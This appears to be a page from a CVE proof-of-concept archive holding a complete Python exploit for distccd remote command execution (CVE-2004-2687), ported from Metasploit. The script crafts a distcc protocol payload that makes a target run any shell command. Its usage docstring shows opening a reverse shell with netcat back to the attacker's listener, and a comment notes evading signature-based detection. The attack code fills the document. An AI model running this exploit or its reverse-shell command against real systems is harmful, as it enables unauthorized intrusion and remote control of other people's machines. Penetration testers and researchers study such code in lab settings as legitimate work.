4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / distccd_rce.py PY
#!/usr/bin/env python3

# -*- coding: utf-8 -*-

'''
    distccd v1 RCE (CVE-2004-2687) - h3x0v3rl0rd

    This exploit is ported from a public Metasploit exploit code:
        https://www.exploit-db.com/exploits/9915
        local>nc -lvp [lport]
        local>./disccd_exploit.py -t [rhost] -p 3632 -c "nc [lhost] [lport] -e /bin/sh"
        Enjoy your shell
'''

import socket
import string
import random
import argparse

'''
    Generate a random alphanumeric string (Evade some signature-based detection?)
'''
def rand_text_alphanumeric(length):
    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

'''
    Read STDERR / STDOUT returned by remote service.
'''
def read_std(s):
    s.recv(4)  # Ignore

    length = int(s.recv(8), 16)  # Get output length

    if length != 0:
        return s.recv(length).decode('utf-8', 'ignore')

'''
    Trigger Exploit
'''
def exploit(command, host, port):
    args = ["sh", "-c", command, "#", "-c", "main.c", "-o", "main.o"]

    payload = "DIST00000001" + "ARGC%.8x" % len(args)

    for arg in args:
        payload += "ARGV%.8x%s" % (len(arg), arg)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    socket.setdefaulttimeout(5)
    s.settimeout(5)

    if s.connect_ex((host, port)) == 0:
        print("[\033[32mOK\033[39m] Connected to remote service")
        try:
            s.send(payload.encode('utf-8'))

            dtag = "DOTI0000000A" + rand_text_alphanumeric(10)

            s.send(dtag.encode('utf-8'))

            s.recv(24)

            print("\n--- BEGIN BUFFER ---\n")
            buff = read_std(s)  # STDERR

            if buff:
                print(buff)

            buff = read_std(s)  # STDOUT
            if buff:
                print(buff)

            print("\n--- END BUFFER ---\n")

            print("[\033[32mOK\033[39m] Done.")
        except socket.timeout:
            print("[\033[31mKO\033[39m] Socket Timeout")
        except socket.error:
            print("[\033[31mKO\033[39m] Socket Error")
        except Exception as e:
            print(f"[\033[31mKO\033[39m] Exception Raised: {str(e)}")
        finally:
            s.close()
    else:
        print(f"[\033[31mKO\033[39m] Failed to connect to {host} on port {port}")


parser = argparse.ArgumentParser(description='DistCC Daemon - Command Execution (Metasploit)')

parser.add_argument('-t', action="store", dest="host", required=True, help="Target IP/HOST")
parser.add_argument('-p', action="store", type=int, dest="port", default=3632, help="DistCCd listening port")
parser.add_argument('-c', action="store", dest="command", default="id", help="Command to run on target system")

argv = parser.parse_args()

exploit(argv.command, argv.host, argv.port)